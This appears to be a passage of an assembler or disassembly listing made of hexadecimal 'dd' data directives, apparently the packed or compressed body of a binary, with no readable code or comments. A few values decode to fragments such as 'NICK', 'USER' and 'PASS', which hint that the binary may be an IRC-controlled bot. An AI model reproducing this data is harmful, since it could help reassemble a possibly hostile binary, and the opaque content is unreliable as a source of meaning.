		dd 0B61B387Bh, 8E9B0C00h, 0BE0D92D2h, 0B7E500D5h, 217CDCEFh
		dd 0B3FDBDFh, 86D387D4h, 0F160E242h, 0DDB3F8h, 0DA836E68h
		dd 0BE16CD1Fh, 265B8100h, 77E1F6B9h, 46F73B0h, 0E618B747h
		dd 707EC05Ah, 0FF000F6Ah, 66063BCAh, 79010B5Ch,	659E0011h
		dd 62AE698Fh, 6BF2D3F8h, 0C5614Ch, 0E278166Ch, 0EEA00Ah
		dd 54D70DD2h, 0C24E0483h, 3903B300h, 0A7672661h, 601600F7h
		dd 69474DD0h, 7700DB49h, 6A4A3E6Eh, 0DCAED1h, 66D9D65Ah
		dd 0F040DF0Bh, 37D83B0Fh, 0A9BCC053h, 0BB9EC5h,	0B2CF7FDEh
		dd 0B5FFE947h, 0F21C300Eh, 0C28A21BDh, 93E4CABAh, 0A65300B3h
		dd 524B4A3h, 0ECFBD036h, 0CD00D706h, 54DE5729h,	0D967BFh
		dd 667A2E23h, 614AB8B3h, 1B02C400h, 2B945D68h, 372A006Fh
		dd 0A1B40BBEh, 0C37F0C8Eh, 5A05DF00h, 2D02EF8Dh, 8000BA2Eh
		dd 1C454704h, 9D2F2054h, 503B7B48h, 302E3103h, 6FD00A0Dh
		dd 3A1D7473h, 14712520h, 68E57541h, 3B6972F4h, 0EEF4617Ah
		dd 4E26C46Eh, 14C48665h, 1DEA1ADDh, 447004D6h, 0C271C71Ch
		dd 553F8C07h, 84C501A7h, 0FF225CFFh, 3F70F50Ch,	1050948Dh
		dd 62BF24C4h, 72C43B34h, 5C803024h, 0AC69F08Ch,	46088640h
		dd 62C01510h, 80519818h, 4111CA3Ah, 126F070Dh, 4517CA83h
		dd 0AA8831F0h, 0BE2E99E2h, 47C45F09h, 424F3E4Ch, 7D48F074h
		dd 75507D45h, 43DCFB53h, 0E144F454h, 5E4D319Fh,	2352DF56h
		dd 6143E48h, 0DD013703h, 0FA100306h, 6404EE02h,	21050245h
		dd 0C2443035h, 28202103h, 758C038h, 7137E008h, 0F1577930h
		dd 0A3FC21B8h, 6860A917h, 120367CBh, 3781670h, 6E45B8FFh
		dd 0F37FE3Ch, 0F0705CDh, 6E072807h, 6C067507h, 0AA295305h
		dd 0FBFE283Fh, 5F171EFBh, 31097279h, 0D66C82Ch,	70786572h
		dd 6F6DE039h, 5F246450h, 0C879683Fh, 6311607Ch,	0D6736261h
		dd 20831021h, 16663F99h, 0C4178450h, 866F6C10h,	631B11B1h
		dd 1BBE6965h, 0A8617411h, 36726FE3h, 1F10BBFFh,	14E87271h
		dd 322B6165h, 105A0834h, 0DA3C2F42h, 6834194Bh,	8B2F0846h
		dd 82F4508h, 3167B686h,	89811130h, 0FD56C377h, 7EC080D5h
		dd 89415001h, 47722080h, 737C49F0h, 816F7228h, 8A87DEEDh
		dd 75CA6C46h, 206FCBA3h, 7D6E4A1Ch, 52454B02h, 3365404Eh
		dd 6535A032h, 0E530712Bh, 64A82015h, 16904229h,	102909DCh
		dd 0EA2908A0h, 0C819102Ah, 8A2D211h, 2D1A3318h,	28A51E10h
		dd 19CE7C28h, 0A1389585h, 39182E4Dh, 83D11CDh, 8EA3181Ch
		dd 0D0938F44h, 6B4BD18h, 2033B820h, 2CA4BC74h, 10346C33h
		dd 72091470h, 6913B375h, 0BCED1C6Dh, 0B6F3CFD1h, 42544C50h
		dd 0ED25338h, 45DFFC48h, 2D474E49h, 4F44C00Fh, 4EFC4D50h
		dd 520112A5h, 38323036h, 202D128Dh, 6C9E4390h, 6F74901Eh
		dd 59394AA4h, 52B07C41h, 7E681CCEh, 90387014h, 12372128h
		dd 7CE21B6Eh, 67750A0Fh, 70736468h, 6A489686h, 0A76F166h
		dd 5A396977h, 38858B66h, 0C2B4C639h, 38B564C4h,	70893590h
		dd 76A49B2Eh, 8D16C769h, 0A668A044h, 0E7246351h, 0A1FD1AB6h
		dd 34942852h, 0D25FFC60h, 0BA051956h, 7B2A02Fh,	0E312DD82h
		dd 39316038h, 3B39F8AFh, 64B3ED70h, 21A41321h, 0CAE837BBh
		dd 1938592Ch, 8ECE5325h, 1A64C982h, 8158B41Ah, 2C1F3724h
		dd 0AD20336Dh, 0C0819DB0h, 2218A861h, 306B632Bh, 86DC18CAh
		dd 0FE35E535h, 18065FB4h, 6D7244A3h, 70670192h,	0DE9F6782h
		dd 0FF9642B6h, 305E3721h, 50395371h, 42AB22F6h,	0E06D5626h
		dd 2C485EB4h, 0CFF1D638h, 298475FAh, 51608A73h,	0D62C0461h
		dd 6E28DFB5h, 0BCF18367h, 0A83BD50Ch, 58E52725h, 2E904D80h
		dd 333AC2D4h, 0D7562C66h, 43AB1079h, 52EDE32Bh,	4C3A9D37h
		dd 0E4B562A8h, 0A28A179h, 12175DA3h, 210F2345h,	0D550242Bh
		dd 41203A0Ch, 1402DC2Eh, 1BA4E63Ch, 5A344DE1h, 6AA1DA6Bh
		dd 0ED840833h, 9F10C45h, 74651747h, 13101D4Ch, 76134B41h
		dd 16BFBF0Ah, 28EF5A75h, 42571019h, 4E964A6h, 61E3644Dh
		dd 427B677Eh, 7FB7858h,	4E512331h, 11345C6Eh, 854602C3h
		dd 19440822h, 0AC185153h
		dd 0E2A88C7Dh, 88D50860h, 0F88162F6h, 21C221B4h, 66633210h
		dd 76AC648Ch, 6964AAD2h, 0D2672BAh, 8522FB79h, 7E31584Ch
		dd 48625B40h, 1A8A142Ch, 8C574320h, 0E0122796h,	0A541C488h
		dd 11B80C64h, 5D638AC1h, 0DA55082Bh, 78488328h,	46702A7Bh
		dd 730BD0B2h, 9E01E06Dh, 90360B5h, 19930520h, 384208BBh
		dd 483C0767h, 5311B5C6h, 0AD100CB9h, 46B13A69h,	306A0A10h
		dd 0DAF4090Eh, 6844BB43h, 0DB0CC30Ch, 79013021h, 60F45378h
		dd 0E68084Bh, 9009CA02h, 4006DA14h, 2C65299Ch, 482B0211h
		dd 4C85C022h, 0D84803C4h, 0E84406FAh, 4C4C5329h, 1B7E0CB1h
		dd 797E2484h, 3C344403h, 0F8537029h, 30B658E2h,	705604A4h
		dd 143CD014h, 0A9707E78h, 8F9C3018h, 0A81464A9h, 88ACD414h
		dd 48F09A02h, 10D2CCF1h, 0A46A908Ch, 1088681Ch,	7F08EF30h
		dd 21B447DCh, 4850E4BCh, 3C609E01h, 0F42AB442h,	490B842h
		dd 58687829h, 4043DA8Eh, 8160A677h, 904F8828h, 6843ECD1h
		dd 1A090CCCh, 1491CC98h, 1C711C68h, 18621811h, 82E4852Ch
		dd 0E4990348h, 994C8D9h, 68C774ACh, 80C4C861h, 0A7ECCCD8h
		dd 8021BC98h, 0FE240472h, 0E287443Ch, 421C6B10h, 408AF468h
		dd 0DEA2A842h, 8F808C38h, 0CADC7715h, 22E5A8A8h, 85C8602Ch
		dd 405002E4h, 1860BAE1h, 830888ECh, 31280257h, 71C4196Eh
		dd 8144088Ah, 8B825014h, 207019CDh, 0A0AE010Bh,	1524556h
		dd 4E4F4953h, 0C76C642Eh, 0B9FF2A84h, 80h, 0C3000000h
		dd 40120503h, 88DB3C81h, 23F0EC08h, 0DA320701h,	0B0D0141h
		dd 0DF3EC142h, 4F620810h, 0E3140146h, 73A10C41h, 1460E4Fh
		dd 80060230h, 42549178h, 189A808h, 6372104Ch, 1B581262h
		dd 0C8B0810h, 3307E410h, 32D15945h, 0C7530111h,	414088Eh
		dd 0A242EA2h, 6010044Ah, 726F6373h, 3A69743Bh, 7C61C465h
		dd 6C12C062h, 34762037h, 0E72E18DBh, 2A6D88AAh,	2E343887h
		dd 71634169h, 75548F66h, 0A5325B6Dh, 46231803h,	0AD4B8B41h
		dd 644A201Ch, 31E7482Eh, 476EAFBFh, 26BA6732h, 77F02448h
		dd 0C76E7869h, 0DE6376D5h, 10F478AEh, 0E745F9Ch, 19996162h
		dd 6F398157h, 53207377h, 0F163409Ch, 0B867410Eh, 242D2934h
		dd 6879393Fh, 2D0725AEh, 7CEA2B78h, 0A1046694h,	2099D0h
		dd 9009C8B0h, 50227091h, 666F5300h, 72617774h, 4D5C0E65h
		dd 0D3D46369h, 5F541D6Fh, 754306DEh, 0B6CD3072h, 69F0CC56h
		dd 52FDF16Fh, 87A0E6FFh, 0A127D230h, 0A1A3BA76h, 4C4FD038h
		dd 59314567h, 4D755427h, 707D3C67h, 6C3C36D3h, 0B863C70h
		dd 12904CF0h, 0C79423E1h, 70117468h, 77C52F3Ah,	662E028Dh
		dd 33C7C764h, 0F8247462h, 2F40446Eh, 7576787Ah,	0DCF3E773h
		dd 31C90487h, 0E0534035h, 20092230h, 890C1444h,	98FC1104h
		dd 0E824F402h, 0D891E048h, 0C444D022h, 12B489BCh, 48A424A8h
		dd 7C5BF9Ch, 43DBF201h,	9491549Fh, 7C448822h, 12688974h
		dd 485C2460h, 22549158h, 444C4450h, 34133C89h, 442C0922h
		dd 8891420h, 0F8880817h, 22F01197h, 0D8E044E8h,	0D098118Ah
		dd 9C81199h, 24B812C0h,	8CAC50ACh, 0F99C11A4h, 0CC94D458h
		dd 84098C11h, 78127C89h, 68487424h, 50225C91h, 893C4844h
		dd 24301234h, 911C4828h, 440C2214h, 966CFC04h, 89EC09A1h
		dd 24E412E8h, 91DC48E0h, 44D422D8h, 0C089C8D0h,	0B024B812h
		dd 0A091A848h, 98449C22h, 4414A690h, 7C898488h,	70247812h
		dd 60916848h, 91545829h, 44482250h, 28893440h, 14242012h
		dd 4910C48h, 3295FC10h,	24F409F8h, 91E448ECh, 45D022DCh
		dd 0B8B848C0h, 9B011CCh, 129489A4h, 4878248Ch, 19CCA974h
		dd 9168116Ch, 50226409h, 0E8484445h, 3811CC40h,	28893009h
		dd 1C242012h, 10911448h, 11E10822h, 0F00294F8h,	0E448E824h
		dd 0D81F5CA9h, 0FC714826h, 10323037h, 0C6696909h, 0D665D161h
		dd 126C1086h, 0B8FB6DE0h, 8FAC5924h, 3C73EE70h,	6B2B6219h
		dd 381121A6h, 4C592AD9h, 0B090F749h, 0AF187037h, 0C8696B84h
		dd 19D368FDh, 6D655305h, 416D2187h, 717032DFh, 7DE26420h
		dd 632E74C6h, 68A04E69h, 886D6233h, 75BB7F72h, 0BB1AA374h
		dd 600AB571h, 2E52126Fh, 4E201614h, 15316264h, 8343332h
		dd 3C610866h, 655294FFh, 8277372Dh, 141651FDh, 0A21C8711h
		dd 264AFB10h, 106E0C42h, 652863AEh, 0DA02084Bh,	3A5A2048h
		dd 280C3210h, 0C5BDB4C8h, 0C3BCBAE2h, 0BC5266FCh, 75FE0878h
		dd 628E2091h, 6863E669h, 0EE667F11h, 3616E16Bh,	3B1E1ED4h
		dd 891CD567h, 27756BD2h, 28EC7408h, 0FD2A906Eh,	569A4146h
		dd 0C426367h, 72D4116Ch, 6B307950h, 3288BCA2h, 0B4404808h
		dd 4A97108Ch, 7AA9ED7Dh, 12689A38h, 54D2380Fh, 0A67B9F94h
		dd 32E3EB90h, 612E6242h, 75734883h, 28083695h, 386D14CDh
		dd 48536BE1h, 5974FA70h, 6F6A0400h, 6DC88C68h, 41186952h
		dd 65D419BCh, 0B7444D95h, 794F2E40h, 97E36246h,	0B777102h
		dd 6EE9D0Dh, 0D7F936AAh, 32FC88D4h, 9A02306Bh, 0A20C4CD4h
		dd 320810EFh, 39238C6Bh, 0B8592E38h, 8B6D9664h,	9A1968C6h
		dd 8838220h, 3095985h, 0EAE7F768h, 80A720Ch, 7536BD98h
		dd 675770BCh, 3392690Ch, 90524990h, 8451BD7h, 3AA01BF5h
		dd 543F87FCh, 649CD56Bh, 72B04408h, 6E469174h, 65383775h
		dd 5E12761Eh, 70745D83h, 219693EFh, 0A26C1868h,	11DB7875h
		dd 4678CFC0h, 6F423064h, 0ACCAED7Fh, 0AA736220h, 34F1256Ch
		dd 3B330832h, 3B3172DCh, 9A8824D4h, 37360F35h, 0CF43938h
		dd 847308B7h, 0C2080D39h, 8678433h, 0DC209CDh, 50ACB019h
		dd 0E1647770h, 890C432h, 0AE482846h, 0FC49AED5h, 1E0C64A4h
		dd 6D26FB3Ch, 223296E8h, 1C626358h, 62F1F444h, 8FECD114h
		dd 2310D266h, 0D6673ADFh, 0A65055E5h, 0F8C8E067h, 4B686832h
		dd 75323535h, 85E6524Eh, 0C8A134A5h, 439B75C0h,	0F6F97538h
		dd 0DBA91C46h, 0E146C766h, 7308443Dh, 3CB7F58Eh, 720C3AFEh
		dd 1CB4EC8Eh, 1E2386E4h, 10A22C87h, 520049FCh, 36762043h
		dd 0EC31322Eh, 81AF904Bh, 4DF564BEh, 0BD001A61h, 0F6422D6Dh
		dd 204EE179h, 31F03023h, 70EE8F37h, 40532AF8h, 0DD204E92h
		dd 7B34032Dh, 3A069102h, 20F0F179h, 0A2617C46h,	55A70F2Fh
		dd 796848F8h, 2C1F5E9Bh, 101F08B5h, 3CC13ADFh, 2E3E6425h
		dd 5534B6C2h, 0ACDF2453h, 0AF1966C7h, 5C1EF3D2h, 745850D9h
		dd 54315A9Ch, 70CC2C33h, 7352637Ah, 5641E05Fh, 57463F2Fh
		dd 0B79F6BACh, 0F60AFB83h, 6C641498h, 8401DB9h,	0A28C4B30h
		dd 684263C4h, 4B2446F2h, 2304C612h, 22B78442h, 0ABD1655Dh
		dd 0FF253E38h, 22DB92DCh, 0C0D9D0Eh, 1414065Ch,	300075Ch
		dd 2D312C38h, 58723456h, 21D1E16Ch, 9CA0A303h, 0C753A36h
		dd 4B43494Eh, 0A060D15h, 52455355h, 0CA30F813h,	30113A05h
		dd 53415038h, 89830DE3h, 45444F4Dh, 700F3F46h, 4F482FA0h
		dd 11AC54EAh, 55126485h, 2B3A4D4Ah, 0EA380F2Eh,	20A181D5h
		dd 0DEDD50E4h, 52B752E6h, 2090C070h, 3E4E2AA2h,	0E08346B0h
		dd 78A84848h, 796662F4h, 65A228A0h, 42290621h, 544F4E2Ch
		dd 628EB688h, 2584483Ah, 92662241h, 8283236h, 995C5495h
		dd 0F954235Ah, 528C7159h, 67EA7476h, 36869E08h,	31F55864h
		dd 0A1CE1D04h, 50E52CB1h, 802F5174h, 62D87E2Bh,	4A506152h
		dd 39966D77h, 0BE2E6B1Fh
		dd 0A02982C8h, 9D215251h, 6222A259h, 0C7728374h, 4A6413A1h
		dd 9D6DA328h, 0A54E202Ch, 33EB2965h, 447327D2h,	4AE36893h
		dd 3C72686Fh, 6C10B226h, 0A8B423B2h, 20AD74ECh,	57D92C9h
		dd 0C52477D4h, 0DA26C09Dh, 0CDEEF17Eh, 49F62402h, 2B1AF43Ah
		dd 0E8912C3Ch, 0A124D7BDh, 8676F4Eh, 0F0402743h, 3B4F9666h
		dd 0C6282EABh, 7071E453h, 624644FBh, 0E14C2851h, 0DCC8A3F3h
		dd 2466344Ch, 0FB227869h, 500924F4h, 61DEA73h, 0F2C8434Eh
		dd 276E2664h, 96AA3406h, 26FB6402h, 0CD2443B3h,	20162D46h
		dd 0CBD0A5ECh, 8A97343Ah, 0B6DE44A0h, 95E866E9h, 69FD731Eh
		dd 6EFA1960h, 0F435C771h, 4C27280Fh, 70752002h,	3EFA5BC6h
		dd 38AC2793h, 0B876BC72h, 0B8FAB2DEh, 1D46FBA8h, 9C4AE3B0h
		dd 50CA3043h, 9A314B1Ch, 42DC4B64h, 0FF42B950h,	23309544h
		dd 0C8234850h, 203DA924h, 0D2447623h, 2D575210h, 61E00D91h
		dd 46BC4D09h, 46493044h, 962CCB65h, 402E5348h, 60624CC9h
		dd 766ECC34h, 32744D20h, 0CAB47472h, 9F0E6B21h,	61402372h
		dd 364C5255h, 12EE907Ch, 9D676372h, 0B95376AFh,	7455875Dh
		dd 0CE6CF31Ch, 6FCDEF2Dh, 54472136h, 646D630Ah,	2273593Bh
		dd 0CA18D028h, 51488745h, 91BE583Fh, 0B09E7FB1h, 53915A2Ah
		dd 9BF06EA5h, 24BC48ECh, 633A6B7Ch, 2017FE32h, 5ED8AA25h
		dd 555858ACh, 9C6B506Eh, 0BA90FB77h, 79740964h,	95509A70h
		dd 48D72C27h, 5924AB87h, 0C51CA04Eh, 6B12C198h,	28D7965h
		dd 6EF29028h, 4B101CACh, 7383ADAh, 45DA411Bh, 2474CE3Eh
		dd 7FA32411h, 3533763Dh, 6712DE30h, 91A328E1h, 6840E847h
		dd 4447D1D4h, 5D05C9C6h, 0E45C2891h, 88628382h,	0AE4EBEE9h
		dd 8772AD78h, 0DCE32A19h, 5DA16D99h, 222CD948h,	0A9409490h
		dd 5069B502h, 8BB783E4h, 707D9D65h, 0A400D121h,	0A267736Dh
		dd 4C1C3E18h, 1BD05D41h, 0C268B3B4h, 0B06C6379h, 4E4150DCh
		dd 24242E52h, 36A5934Dh, 0CD609605h, 8D442250h,	0F123B86Ch
		dd 4A4A635Ch, 68282955h, 47287A1Ch, 441A521Dh, 0B942434h
		dd 4A502448h, 4E49274Fh, 184BC81Bh, 0A475CC74h,	15204CCDh
		dd 0B133E667h, 0B466D151h, 4CDEDEA4h, 12B43CD0h, 0D557262Ch
		dd 4787099Dh, 53DC2EC8h, 0E3E975D2h, 0F4694F69h, 0A4543C6Ch
		dd 3B61F10Bh, 6D70A8DAh, 71282865h, 2C2E5929h, 524D70B3h
		dd 118492B2h, 9FE21CC4h, 0BBA73C48h, 945948E2h,	183408D2h
		dd 2DCAB254h, 7C147961h, 733A0389h, 70758598h, 8154A6E1h
		dd 491DAAF3h, 756DC944h, 8462A6A4h, 66A70EAFh, 3858D434h
		dd 6134E290h, 0D675E8F9h, 5F5D578Ah, 54482E8Ah,	0E14B27A5h
		dd 0C3476E97h, 0A02A1FA9h, 6159263Ch, 2162093Dh, 2C867644h
		dd 52126282h, 6D5A2A8Ch, 29ADB99Bh, 22E3DB28h, 6317CB38h
		dd 1CA3C195h, 83B54CE9h, 5011DD11h, 3B2E259Eh, 1F6A68ECh
		dd 0F7ED76B6h, 46F90C48h, 3C38E4B4h, 942CAA53h,	0EA7F96D7h
		dd 741CA7B2h, 24942C86h, 6AB289D2h, 0A56B593Eh,	0E9874BEh
		dd 24706D28h, 766E4913h, 6453021Fh, 52EB6D29h, 67CAA260h
		dd 0F00AA59Bh, 6D30C5A0h, 0E9AD2338h, 124D380Fh, 297688D6h
		dd 657215B1h, 3ACBBEB4h, 371A41CDh, 3C28B47Ch, 5FBFA643h
		dd 5BA15664h, 6069489Bh, 0A7C6EEEEh, 1EEF2C38h,	74D0EB6Fh
		dd 0D08D388Eh, 2996F824h, 7D7FE83Fh, 76E4B379h,	0BE6771D0h
		dd 0CA773044h, 0DDD06B1Ch, 0B2AC3823h, 0F73198D6h, 129B1847h
		dd 0A769D9EFh, 569BB814h, 767278A1h, 0E959BD72h, 0CFA4E447h
		dd 899993A0h, 901E97A7h, 273A8ADBh, 0EB9D6308h,	3F271C23h
		dd 0C144A1ECh, 5D504354h, 0DD9CF738h, 92146233h, 0DA7F3650h
		dd 0E40EC15h, 4E404353h, 65F3B2B2h, 0DC1263ECh,	2F467DA7h
		dd 0F469771Ah, 257F24B3h, 266D2825h, 55365B78h,	3EED825Dh
		dd 10444077h, 101BD02Ah, 434101C0h, 4F4B4954h, 9BAD8F5Eh
		dd 0B9BB6948h, 74A0311Dh, 3C484CAFh, 0A1A51D72h, 166A7AA2h
		dd 886BFE04h, 8A9C7274h, 922D2DB2h, 87F034EFh, 381CD287h
		dd 9F86E0D1h, 92AAE9A1h, 3761D12Dh, 666F1A53h, 0A46D45F3h
		dd 6C1E6D7Ch, 9175206Dh, 0CDC54B7Ch, 0A048F024h, 0C52C9255h
		dd 50E083E0h, 0A8701831h, 5CCA6669h, 5C342161h,	2AB041A4h
		dd 19B95EB8h, 664258A9h, 76BFE674h, 4B9F9955h, 21938794h
		dd 4295332Dh, 6ED305Eh,	6F944928h, 0C6E92D47h, 495EBE31h
		dd 41C8DCAh, 14A2089Dh,	65796284h, 0F161A6F4h, 69D8322Fh
		dd 642E0281h, 70B4C66Ch, 624986BEh, 691754D7h, 34D539BBh
		dd 69FC6D85h, 9425CEA2h, 966DDCF7h, 1662D3FBh, 65031F14h
		dd 9A79F184h, 84274B3Ah, 0C4DB7085h, 0E53835B4h, 70C65CD8h
		dd 0CB428FB5h, 0F0DC1674h, 1210AB50h, 267A69A0h, 44598D24h
		dd 4823E442h, 88676B6Eh, 3C4D6719h, 67611F1Ch, 0B697E565h
		dd 755B8133h, 0EE660288h, 0A579706Ch, 7BB84834h, 9E22541h
		dd 12B21D43h, 340869B1h, 16914EF9h, 651A4E53h, 5E589A5Ch
		dd 256B13B2h, 1F69ECC1h, 46AD7839h, 6C4AED86h, 35A4EC90h
		dd 69F83365h, 708D1B4Eh, 5B4BCF27h, 49801D9Eh, 50484D43h
		dd 90CC93CBh, 0DAA7AA76h, 0B5D09BDEh, 0F4D0DA53h, 75693865h
		dd 9F8111A3h, 72C87E2Eh, 6A9F09A9h, 0A8747D14h,	6A634F74h
		dd 0E5389027h, 9ADD4A6h, 0C9486838h, 59F66566h,	7C612A4Eh
		dd 569A7053h, 0B437D466h, 2C707988h, 7282DB0Bh,	5A4B8A76h
		dd 6E6B7094h, 0F617A368h, 0E61769D4h, 0BE6D55E4h, 34926E26h
		dd 0D632F965h, 18633CF2h, 8A4E7224h, 890ACC92h,	0BA3A4C2Dh
		dd 0A20A7AECh, 0E2D0886h, 0EBAC526Bh, 5162A030h, 446C816Ah
		dd 64BB259Fh, 2E7E07CEh, 32B765E0h, 4BC28F1h, 64A0B421h
		dd 434E5618h, 0E254484Ch, 273EEB50h, 42D3D9E3h,	45295417h
		dd 0D764177Fh, 0B47A0BDAh, 62246FE9h, 41670824h, 98274BADh
		dd 21690858h, 0A098CADh, 99185860h, 5727608h, 0C20C706Dh
		dd 1CA0405Bh, 44F15FFCh, 0C51B504h, 6D537010h, 108D4A08h
		dd 0A6719B7h, 0B65ACB30h, 10E84C96h, 5A414E01h,	136F4C45h
		dd 345C9462h, 74BD0A98h, 0DCC4C90Ch, 0CBE779F4h, 0BB64A9FCh
		dd 1BE77969h, 412C1352h, 9A10570h, 0F8C469FCh, 4736926h
		dd 134A2892h, 0A1D58929h, 0AD453D3Ch, 53102F18h, 0C5E5174h
		dd 8A38C6EFh, 387E2A0Ch, 89A36C97h, 290C5C5Bh, 4F8DA108h
		dd 3C2B7649h, 10D6B064h, 7981E5h, 54128D0h, 19C5F79h, 45444148h
		dd 0B433D554h, 38B22BB0h, 70723962h, 9EEA3C8Bh,	0A5734049h
		dd 0D5184CD6h, 8D4A7C10h, 4B44D8Ch, 0CD45004h, 3FE96A22h
		dd 750CF810h, 81C1448Ah, 0BD146D0Ch, 720C4027h,	77D1058Ah
		dd 0BC229C24h, 0D4048E79h, 91E5D791h, 28921622h, 2BD2610Ah
		dd 71353CE1h, 1EDC59EAh, 0E809746Bh, 0D1974BFFh, 80D6827h
		dd 0DD82352Eh, 533C3A28h, 9F139D75h, 1C9C2ECAh,	3BB9D798h
		dd 0FDB4BC49h, 0E0F0DF6h, 21D74E2Ch, 0BAA5F05Dh, 208F84BEh
		dd 53194EA7h, 53C96C64h, 0AA729787h, 201DF241h,	8C684121h
		dd 4A381948h, 174E28B3h, 2F94E3A8h, 36FEC261h, 7AE69540h
		dd 2021628Dh, 91621CF2h, 494CA383h, 1295A01Ch, 0B5BA6BF3h
		dd 3233EE81h, 5A923E2Ch, 103B4DF6h, 93F889A5h, 6C326F89h
		dd 0C85C766Bh, 0F4D24B08h, 0AED89EB7h, 2DE89373h, 208D534Eh
		dd 5AC4ECA7h, 2E5ACC73h, 9EB528F2h, 0F5178E5Bh,	8F5E585Fh
		dd 507FF764h
		dd 932C42BAh, 56B46DB2h, 0EA28291Ch, 0E148685Eh, 8686DAE9h
		dd 0A3ED8F12h, 7229682Ch, 3C68F215h, 0A1F115DAh, 0EC6D2571h
		dd 78695365h, 37D09B2Dh, 0D0F8A6D7h, 0F92BB468h, 344E1C43h
		dd 0F70D5100h, 338743CAh, 0EA24761Ch, 0E154E265h, 29422C5Bh
		dd 46AFE794h, 0FBF7D03Ch, 6AF47843h, 943046FDh,	8C63B9F4h
		dd 10942045h, 406B0472h, 63284094h, 0C2FF046Dh,	71A5B0D6h
		dd 0D10B428h, 6A197610h, 9811F826h, 5504827Dh, 0AE672099h
		dd 4205C0Dh, 0C8B18A9Ah, 99C9CC2Ch, 0C497048h, 4CA0113Ah
		dd 46E6414h, 0F5587338h, 0C4CC6F8Bh, 729408B1h,	5ED55B04h
		dd 402D4CC9h, 122C9993h, 486710Ch, 5084FA75h, 949C26ACh
		dd 3270779Bh, 6E496A29h, 0AF204CC5h, 5687E295h,	1764459Fh
		dd 92F2A3A3h, 2E36EDE3h, 57825802h, 5955A64h, 0C75A67CDh
		dd 0C85F5414h, 0E0F1C90Fh, 56495200h, 9F47534Dh, 8A1A214h
		dd 1B144F78h, 77AB6601h, 92CAF56h, 47D67601h, 0E418156Fh
		dd 2BA069E5h, 0FEEAE58Dh, 9C71F23Ch, 76CF092Dh,	204B4948h
		dd 34A568C3h, 68FF74FAh, 43714448h, 4E45F0F3h, 5A1CA4EFh
		dd 3A36F24h, 8EB77020h,	0AAD21214h, 0AFBB592Fh,	0A49DA8EEh
		dd 688D69ACh, 1F04510Dh, 0CD052ADh, 3758744Bh, 683F0A18h
		dd 5221B44Ch, 0A10C3408h, 283819EEh, 0A4B8D0FAh, 59FEC83Dh
		dd 0CDB048E8h, 63244C0Ah, 2DA018ADh, 6D745F50h,	0CD26B893h
		dd 0D39E1AA7h, 2EAF2BD2h, 7A5449BAh, 9BAF34E8h,	0B402429Eh
		dd 7C6EA699h, 0EE2F9E54h, 222E6EDEh, 1808247Ah,	8C7C7A14h
		dd 0B7E1F85Ah, 1BA1FE9Dh, 6880EFA5h, 0EFFE5A40h, 25917BCBh
		dd 0D35C8D2Dh, 1259C4F4h, 0A6767ABh, 3CE7692Ch,	7B53DEBAh
		dd 856C3EC9h, 2F73B292h, 7C281265h, 2C3E7270h, 68561C82h
		dd 736E6189h, 9C39A06Bh, 0A2721643h, 420A49F7h,	562A3803h
		dd 0A856B46Ch, 6C153AA7h, 0E2B47679h, 0A8CF5F74h, 0E24B6643h
		dd 0E586D9Eh, 758B5ABBh, 5DF1626Dh, 0AE30EF2Dh,	0C5DA2534h
		dd 0AABB6595h, 15338A19h, 106FAD2Ch, 4FE15096h,	426B28E3h
		dd 49563C91h, 7BE255A8h, 227A6226h, 6A22158h, 0CDC3562Eh
		dd 5274B47Bh, 95EDA690h, 2A212824h, 2D2E3240h, 0FF4FFA48h
		dd 4BA6D2A5h, 0FA906729h, 3E47ADDCh, 0CF271AC8h, 0E83C4838h
		dd 0A74C25A0h, 552AB886h, 2ABC1A6Eh, 0A745345h,	0D8623422h
		dd 0D096BF74h, 0B674B796h, 4087F494h, 972F14A7h, 4776F4BAh
		dd 6FA03152h, 0B5DEB075h, 0D23C4869h, 6F2D6535h, 46343844h
		dd 9784BC19h, 3596FCF7h, 92AFFD8Ch, 8E2B009Dh, 51A8D860h
		dd 54492C55h, 147214E6h, 7A0A0DB1h, 9F730C79h, 34D018D4h
		dd 35B71197h, 6C1822B4h, 10A13A5Ch, 7B25BD68h, 1C5365B0h
		dd 172FA6D9h, 17DCF23Ah, 43A22E79h, 0AD9E552Ch,	5649D56Bh
		dd 60BCF588h, 0F938B8D2h, 7FEF2A7Eh, 0C4A710D7h, 2A3C29B4h
		dd 78ED6B94h, 5FC7A8A4h, 5190388Ah, 364D7846h, 53E47443h
		dd 0DA08DAFFh, 0C703271h, 0B32E1F28h, 0CE894994h, 0C8267D79h
		dd 18E9661Dh, 0DDCD53C4h, 0BC5B170Dh, 766F6D0Ah, 4A192A48h
		dd 0F4D0E32Eh, 0B8D29A2Bh, 2E22B92Ch, 6C743CDAh, 24AFF03Ch
		dd 72005125h, 0C1AF981Ch, 0C4105925h, 0FF39AB52h, 2E41A4F6h
		dd 2B4879AEh, 0B74A86CFh, 0F848902Dh, 0C98BA561h, 55DA1854h
		dd 6270BEA1h, 31C53A6Fh, 32E444BCh, 0B65E2012h,	64F9A7B4h
		dd 0AA756CC6h, 43BE8282h, 0F303168Ah, 63EA5052h, 2E672577h
		dd 1C472C2Ah, 115E2C42h, 78B950DCh, 0F02D9AD9h,	48C7BCC9h
		dd 4404557Ch, 686B534Eh, 4B5E7C39h, 0EB072772h,	3C6881B5h
		dd 9181CEDAh, 705F3D0Ch, 3A5049ABh, 5472BABDh, 846AAF7Bh
		dd 9DC09657h, 0A6646024h, 3C1DF960h, 44C9761Eh,	7E3282D1h
		dd 5C128579h, 66F47827h, 5C3C917Bh, 977DE96Fh, 145DEB9Ah
		dd 342E56B1h, 400C2FD3h, 61384D20h, 63A0E253h, 2DE5DE41h
		dd 0E4528A67h, 1C37DBFCh, 0FF1BE8FDh, 0E3963C47h, 2750FA98h
		dd 9754F71h, 98FA6992h,	64D9524Fh, 5A8D1068h, 7B6B6BF6h
		dd 4ECC8A92h, 9B2AB6B5h, 3C64F44Ch, 3E4C6DAAh, 0C86562DDh
		dd 2846C26Ch, 50CC785Bh, 0F3FD487Ch, 0EE64793h,	0AE454D31h
		dd 0EDCB4144h, 0FCD4C41Bh, 0AF1F10EFh, 0A3DA6837h, 3BE2213Fh
		dd 70E91177h, 9FE0D8FAh, 8ED0F5CCh, 0D9632504h,	20BAEE0Ch
		dd 0A5627924h, 1417BB90h, 69136379h, 422C1350h,	0E74F08E8h
		dd 93EC48E0h, 144690F7h, 891784Dh, 0AD961691h, 4C566B78h
		dd 3542F506h, 0D9FCCA66h, 0A308AC50h, 57F7200Ch, 0C431470h
		dd 0C9636716h, 5AEF6224h, 44B647Eh, 0E86261C0h,	8F209BB8h
		dd 48AE210Ah, 546C4CD1h, 92C1F692h, 606B50B9h, 3C341E44h
